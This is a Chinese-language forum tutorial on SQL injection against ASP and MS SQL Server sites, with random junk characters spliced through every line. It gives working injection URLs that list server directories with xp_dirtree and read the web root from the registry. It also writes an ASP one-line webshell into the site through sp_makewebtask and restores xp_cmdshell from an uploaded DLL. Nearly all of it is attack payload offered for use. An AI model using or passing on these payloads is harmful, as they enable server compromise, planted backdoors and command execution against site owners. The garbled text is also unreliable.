好,我们exec master..xp_dirtree'd:/test'
8 ~6 ~! N( ?! Q& J: z% `4 s$ U# m# \假设我们在test里有两个文件夹test1和test2在test1里又有test3
% B* N/ O# y. h. J! Y结果显示
% j z$ }6 Q1 C1 v$ T, {! b4 E: \+ D6 e9 P
subdirectory depth
0 S& U3 _& H" h; Y# Wtest1 1$ D1 ?- w% `$ {+ e# Z' N: h$ L
test3 2
) h. G6 j3 h! y* g( Y# u+ gtest2 1" f \! y% d5 U- o" u% i
4 d/ j* j! I B哈哈发现没有那个depth就是目录的级数
+ J8 B3 U& M* }& C/ ^ok了,知道怎么办了吧
. R3 ^7 S% [! g0 G8 x0 n! D% e, y: Z! x3 {) m) o7 R
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
9 f. q9 ~. i$ g7 @1 yhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
8 ^! y2 B# n7 J9 W$ D% khttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
7 D! X! N$ [! r0 _! V& P& y: X w/ t' Q7 F/ g
只要加上id=1,就是第一级目录 。
4 I) ^6 t* I4 _0 F0 X# o
2 X* b% @- g- q/ y3 d
, _! s; f( o% C' b9 n通过注册表读网站路径:
! ~5 v+ y; e3 b0 F1 F, m! H" [
( |3 O* h* h4 r" U$ ~6 |+ o) t1.;create table [dbo].[cyfd] ([gyfd][char](255));
1 b% y, o% b2 a8 Y8 J8 i* `, }' f. k4 z( I- {: ?
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--% r" y/ ]) k2 g2 @5 t
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--9 n. P$ h& l; a. w1 N* {
4 p$ r8 U5 k' N# M. v3.and 1=(select count(*) from 临时表 where 临时字段名>1) O% h1 S. `# \" `1 w
and 1=(select count(*) from cyfd where gyfd > 1) ' a; j8 A; x& E" {( z
这样IE报错,就把刚才插进去的Web路径的值报出来了* B' R, ]4 L- y/ b( F% x0 n
9 N. F* J7 H9 o% ? e( h
4.drop table cyfd;-- 删除临时表+ V3 y M5 ]6 {' ?% j" {9 s. e- ^
, }2 u$ Z5 q% a3 O9 b
获得webshell方法:
# x0 m/ n8 J* U F* L1 U$ X$ X1.create table cmd (a image)-- \**cmd是创建的临时表2 E2 h$ ?: j& E, ], T4 h8 S
2 q8 g, S$ n9 X2 K
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
9 X k4 H* ?( u+ g. \( f) F5 K" m" @0 Q" l6 q3 V7 _9 y
7 t* \7 Z* Y8 |- W; j3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'( o) s* j- {& G! j# k
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
2 Q l- j- s9 m2 d: K# a4 h: O: M0 m+ g) [: C' p; \) p7 p
4.drop table cmd;-- 删除cmd临时表% Z% h( ?* d) I) X
- M: O3 [8 }. { _恢复xp_cmdshell方法之一:7 J3 X& R0 \6 D# l9 M# M+ N: b* U
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:$ M+ c+ i/ f( _5 ~
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
' O* o9 p! `7 W& s# I恢复,支持绝对路径的恢复哦。:)/ Z3 T8 C) ^& g; k, t9 \
|